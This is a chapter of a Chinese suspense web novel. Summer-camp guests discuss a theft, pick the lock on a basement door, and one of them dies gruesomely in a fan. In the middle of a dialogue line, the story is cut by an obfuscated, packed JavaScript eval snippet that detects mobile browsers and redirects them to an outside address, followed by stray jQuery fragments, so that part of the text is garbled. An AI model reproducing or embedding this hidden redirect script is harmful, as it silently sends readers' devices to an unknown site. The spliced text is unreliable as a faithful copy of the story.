5. 第 5 章

凌晨两点,赵淑萍躺在床上翻来覆去地睡不着,吃安睡片也没用。她坐起来,窗外一片漆黑,屋里漆黑,只有门缝透进走廊上的光。


发生偷盗的缘故,二楼和一楼的大灯通宵亮着。挺费电,但赵淑萍没拒绝。


她害怕。


每每回想到小偷逃跑的场景,她就害怕,浑身寒毛直立。所以楼上闹腾那么久,她迟迟没上楼。


当时她弯腰从柜子里拿茶杯,抬头看见一道人影从墙上窜过。


一楼厨房的天花板挡住了二楼的大部分,老花眼看不清近处,看远处却很清晰,尽管没开灯,尽管没看清小偷的长相,但她清楚看见小偷进了哪间房。


想到这,赵淑萍坐不住了,屁股下面长了铁钉,扎得她难受。她套上外套,匆匆出了门,路过张情的房间,路过梁威的房间,停在周志门口。


她犹豫良久,还是敲了门。


敲了好几下,周志才打开门,看见她很是诧异,连哈欠都截断了,“什么事?”


赵淑萍推他进屋,反手关上门。


周志拉来椅子,让她坐。


赵淑萍也不坐,直接问他:“你搜我房间时,有搜到什么吗?”


周志感到奇怪,她这话问得就像新手小偷在害怕有没有留下什么证据。但小偷偷东西时,赵淑萍和他在楼下,没有离开对方的视线,甚至赵淑萍跑不了那般快。


小偷可以是任何一个人,却不可能是他们两人。


周志打起精神,问她:“怎么说?”


赵淑萍附在他耳边:“我看见他了,没看清脸,但他进了我的房间。”


在得知要搜房间时,她一边害怕小偷将赃物留在她的房间里被搜出来,另一边更害怕小偷藏在她房间里,白天是偷东西,晚上等她睡着了该谋财害命。


所以她让周志搜彻底。


周志瞪大眼:“男的女的?”


赵淑萍:“男的,不高不壮,要说真像谁,还挺像那个红头发的男孩。”


红头发……陈宇南。


周志疑惑了。陈宇南很有钱。他搜陈宇南房间时,屋里全是名牌,耳机是他一年工资不止。偷手机平板做什么?


赵淑萍:“只是像,走廊黑乎乎的我也没看清。”


她生怕自己一句话给年轻小孩安了个罪名。


周志也觉得不该是陈宇南,那么……房子里还有其余人?也不一定,梁威说可能是女性盘了头发。和陈宇南身材相似的女性,房子里的女性都大差不差,多塞两件衣服就像陈宇南了。也有可能是男人,黑暗里,人倾斜到墙上的影子会消瘦一圈,也能像陈宇南。


赵淑萍:“你真没在我房间里发现什么?”


周志:“没。”


他知道她担心什么,老年人都怕死。


他安慰她:“我们搜得仔细,马桶盖都拆了,藏不了人,安心睡吧。”


周志:“要不我过去陪陪您,等您睡了我再回来。”


他们两人是头一天一车来的,赵淑萍没老人架子,周志没年轻人架子,两人聊得上来,感情比其他人好。


赵淑萍摆摆手:“算了算了,懒得折腾。本来我心里愁着睡不着,跟你说过之后,倒轻松不少。”


她说:“不耽搁你睡觉了,我回去了。”


周志送她回房间。


走廊灯光明亮,往回走的瞬间,周志忽然想起他们还有一处地方没有搜——每个人的身上。


小偷藏进赵淑萍的房间,必定事先知道房间没人,等所有人去平月房间时,再混进人群。带着赃物,站在人群里围观一切。大家都没有发现他的异常。


现在……


他敲响梁威的房门,梁威没有睡,很快打开门。


周志:“你再打一个平月的电话。”


梁威拿出手机拨号。


【您拨打的号码已关机,请稍后再拨。】


梁威皱紧了眉。


周志:“他一直跟在我们身边。”


梁威仔细回想每个人的穿着,能藏手机,还得藏平板。平板那么大,不好藏。


想一圈,发现每个人都有藏的条件。张情穿裙子,余有为肚子肥胖,往里一塞也看不出来。范明胜裤子肥大。钱晓文穿的宽松长裤。悦凌凌穿的卫衣。陈宇南穿的皮夹克。连梁威自己也穿着宽大的深色衬衣。


现在,小偷有时间处理手机和平板了。然而他们没有第二次搜查房间的机会。


唯一一点踪迹没了。


……


陈宇南一觉醒来,饭也没吃就跑去看平月。


“好点了吗?”


平月坐在床上,动了动脚。脚踝的肿已经消散下去,留下一块深紫色的淤,看起来触目惊心,动起来却不怎么疼。


陈宇南可心疼死了,说:“要不我再给你揉揉?”梁威的那瓶药酒还留在桌上。


平月想起昨晚撕心裂肺的疼,连忙将腿藏进被子里,转移话题:“你帮我把午饭拿过来。”


陈宇南果然不再说那话,听话地拿来盒饭,给她拆开,将筷子递给她。


平月一面吃,一面问他:“你吃了吗?”


陈宇南的肚子后知后觉地饿起来,不自在地说:“吃过了。”


平月就不问了,专心吃完饭和水果。


“原来你在这儿。”


悦凌凌探头进来。


“梁威叫我们下楼去。”


“等会。”


陈宇南扔掉垃圾,拿面巾打湿了给平月擦手。


悦凌凌站在旁边,不高兴地努嘴。


陈宇南收拾完一切,问平月:“你要下去吗?估计是说小偷的事。”


平月:“要。”


陈宇南就蹲下来,“我背你。”


“男女授受不亲懂不懂!”悦凌凌冲过去一把推开他,蹲在床边,“来,我背你。”


平月拒绝的话还没有说出口,悦凌凌回头一脸肯定:“我从小干活长大,力气大得很,不像某人细胳膊细腿就想背,背出问题了谁负责?”


指桑骂槐。


陈宇南想说什么,看了眼平月,闭上嘴,不和悦凌凌计较,省得平月觉得他小心眼儿。


“其实我能走……”平月双手撑着床垫,挪到床边。


“快点,楼下就等我们了。我背你走得快。”


悦凌凌拉起平月的手往自己脖子上一环,搂住她的腿猛地站起来。


平月被颠得整个人后仰,陈宇南眼疾手快扶住,让悦凌凌:“你慢点。”


悦凌凌哼声,大步往外走。下楼时,平月看见墙头挂着摄像头,摄像头的对面,走廊另一端的墙上也有一个。


平月问:“查过监控吗?”


楼下赵淑萍也在问:“怎么没想起查监控?”


悦凌凌一面下楼,一面提高声音问:“奶,您知道监控室在哪儿啊?”


赵淑萍:“不晓得。这房子里就二楼几间房,没看见别的房间。”


他们头一天来,房子里都转过。


梁威也是问过周志,与其浪费时间去找监控室让小偷得到藏赃物的时间,不如把人放视野里直接搜查。


偏偏漏掉人的身上。这是令梁威最懊悔的。


悦凌凌:“打电话问jck,他肯定知道。”


赵淑萍“诶”一声,欣喜:“你这小苹果怪聪明。”她拿起座机打电话。


梁威和周志看见悦凌凌背着的人,齐齐起身过去将平月扶进椅子里坐下,周志摆一个抱枕在案几上,让她搭脚。


张情顺着猫毛,若有似无地盯着梁威笑。梁威从不与她视线对视,坐在沙发里。


余有为在窗边抽烟。范明胜醉醺醺地倒在沙发后面的地上睡觉。


电话接通了,赵淑萍将听筒放到柜面,声音拨到最大。


大家静下声来听。


“你好,这里是818夏令营。”


悦凌凌俯身过去,说:“平月手机被偷了,你们监


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926635|160543||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


控在哪看啊?”


“什么?”


悦凌凌又重复一遍。


“请问您有预约吗?”


悦凌凌:“jck不是说有事直接打这个电话吗?”


“请稍等……”


一串铃声之后,jck的声音接了进来,他的声音充满了歉意:“监控室在地下室,地下室常年未启用,存在安全隐患。等我们这边远程调查监控,再给您回电。”


悦凌凌吐槽:“你们夏令营好水,小偷也选进来。”


jck:“抱歉。平月女士还好吗,她的损失,我们会双倍赔偿。”


悦凌凌:“好着呢,面色红润,就是脚扭伤了。”


jck又道了一次歉。


电话挂断。悦凌凌双手一摊,“等。”


接着又说:“不会最后跟我们说监控坏掉了吧?”


梁威:“在运作。”


赵淑萍突然“哎哟”一声,问周志:“帘子后面的那道门不会就是地下室吧?”


沙发背后的呼噜声停了,范明胜蹭地坐起来:“哪儿?”


赵淑萍指向楼梯。


楼梯口有处夹缝,背光。平时上下楼很少注意那里,被赵淑萍一指,绕过楼梯口才发觉后面挂着一张白布帘子。


梁威撩起帘子挂到墙上的铁钩上。打开灯,里面是一条一米长的死胡同,右边墙壁一扇铁门,手腕粗的链条往门把手上缠了好几圈,扣上大锁。


悦凌凌凑上去看,“jck没说假话,看起来果然很危险。”


赵淑萍:“应该是地下室吧?除了这道门,没别的门了。”


“让开让开,我瞅瞅。”


范明胜带着一身酒味挤进来,手抓起锁眯眼瞧。然后嘿笑一声,从鞋底抽出一根尖细的钢针。


舌头舔了舔针尖,冲锁孔插了进去。


悦凌凌捏着鼻子后退,撞到人身上,她回头看见平月,嘀咕着:“我怀疑小偷就是他,你看他手法多熟练。”


“你个臭婆娘别瞎说。老子这手艺,真要偷直接把你们全偷了!”


自打听司机说地下室藏了几万瓶好酒,他就一直惦记着。这回可算惦记到眼前了,掏锁的手指兴奋得很。


任凭它千锁万锁也得给撬开。


赵淑萍的接受程度倒是广,没嫌弃他,“你这手艺哪学的?”


“兄弟。”


他龇牙,舌尖舔着牙内侧的菜叶子,嚼吧两下吞下。


悦凌凌:“鬼信。”


范明胜呵呵两声,“说了你也不信,我年轻时候还讨过媳妇儿,那婆娘凶得很,一吵架就把我往屋外撵,凶的时候还换锁,这么多年,我也就掏过我自个儿家的锁。没这玩意儿,还回不了家。”


悦凌凌:“那你老婆呢?”


“咔嚓。”


那把大锁真给他撬开了。


范明胜吐口口水,将钢针别回鞋底,拽掉铁链,一把推开门。


铁门“吱呀”弹开,积年累月的灰尘铺天盖地涌出。


大家捂住口鼻后退,只有范明胜在灰尘里深吸了一口,一脸垂涎。这是陈年的老味,下面必定有好酒!


范明胜迫不及待地冲进去。视野可见的范围内,有一段向下的台阶,只听得他蹬蹬地跑。


梁威点开手机电筒,往里面照了照,空中吊着一根灯绳,他拉开。


啪!


白光炸开的瞬间,范明胜一脚踩空,掉了下去。


“轰隆!”


楼梯下面,铁片风扇高速运作。


范明胜垂直往里掉。


“啊——救——!”


“轰隆——”


楼梯上方的人甚至来不及接收机器的嗡鸣,视野里闪过一条腿,血淋淋地在空中抛出一道弧线,砸在楼梯上。


“轰隆轰隆。”


铁片风扇嘎吱转动,叶片上的血随着转动四处飞溅。


平月脸上一热,伸手摸了一下,满手的血。